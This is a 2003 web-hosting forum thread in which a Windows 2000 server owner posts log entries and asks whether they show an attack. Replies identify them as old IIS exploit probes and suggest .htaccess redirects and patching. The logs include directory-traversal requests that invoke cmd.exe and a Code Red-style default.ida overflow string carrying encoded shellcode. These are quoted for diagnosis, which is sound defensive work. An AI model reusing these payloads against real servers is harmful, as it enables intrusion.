My Server being hacked

Qumber · #1 06-03-2003, 01:50 AM

I have been Monitoring My server Logs And I have Came Across Strange URLS ? Can some one Tell me is it a Hacking Attempt? what can I do for Prevention

Like
/scripts/root.exe /c+dir 404 -
GET /MSADC/root.exe /c+dir 404 -
GET /c/winnt/system32/cmd.exe /c+dir 404 -
GET /d/winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
GET /winnt/system32/cmd.exe /c+dir 404 -
GET /winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 -
GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90 90%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 404 -
GET /scripts/root.exe /c+dir 404 -

reseller · #2 06-03-2003, 01:58 AM

No someone is trying to look for a windows exploit. You can add some code to your htaccess file to stop seeing that.

Put this in your .htaccess file and you wont see those anymore:

Code:

redirect /scripts http://www.stoptheviruscold.invalid 
redirect /MSADC http://www.stoptheviruscold.invalid 
redirect /c http://www.stoptheviruscold.invalid 
redirect /d http://www.stoptheviruscold.invalid 
redirect /_mem_bin http://stoptheviruscold.invalid 
redirect /msadc http://stoptheviruscold.invalid 
RedirectMatch (.*)\cmd.exe$ http://stoptheviruscold.invalid$1

sprintserve · #3 06-03-2003, 02:35 AM

If you are not running a windows machine you are fine. Too many inept users on the net....

Qumber · #4 06-03-2003, 02:58 AM

But I am using WIn2k Not Unix

MGCJerry · #5 06-03-2003, 03:17 AM

Its an old IIS exploit. If you are running an older version of IIS, I'd worry about it, otherwise you are fine minus the wasted bandwidth. It looks as if you are fine, because the server is returning 404's (File Not Found).

I'm sure a more experienced user might be able to give more details.

Thanks for redirect reseller. I'm going to add this to my .htaccess to save on bandwidth.

mlovick · #6 06-03-2003, 03:29 AM

Nice one reseller,

Thats a gr8 piece of info

***bear*** · #7 06-03-2003, 06:38 AM

I had placed that htaccess into my cpanelskel folder so it loads into new client setups automatically.

admin0 · #8 06-03-2003, 06:42 AM

Quote:

Originally posted by reseller
No someone is trying to look for a windows exploit. You can add some code to your htaccess file to stop seeing that.

Put this in your .htaccess file and you wont see those anymore:

Code:

redirect /scripts http://www.stoptheviruscold.invalid redirect /MSADC http://www.stoptheviruscold.invalid redirect /c http://www.stoptheviruscold.invalid redirect /d http://www.stoptheviruscold.invalid redirect /_mem_bin http://stoptheviruscold.invalid redirect /msadc http://stoptheviruscold.invalid RedirectMatch (.*)\cmd.exe$ http://stoptheviruscold.invalid$1

.. just wondering if anyone has something similar for win2k too..

Qumber · #9 06-03-2003, 07:28 AM

Yeah !!! Will Appreciate A Win2k Advise

reseller · #10 06-03-2003, 07:53 AM

Win2K advice = stay up-to-date with patches and hotfixes. IIS has a security patch and a set of hot fixes for this issue.

IIS 5 is covered by default, IIS 4 needs to be patched.

When patched you should automatically get that protection

reseller · #11 06-03-2003, 08:05 AM

Here you go.

Look at, read, and follow the advice given here:

Click here

It's dated May 28, 2003 so it's pretty current.

It covers IIS 4, 5 and 5.1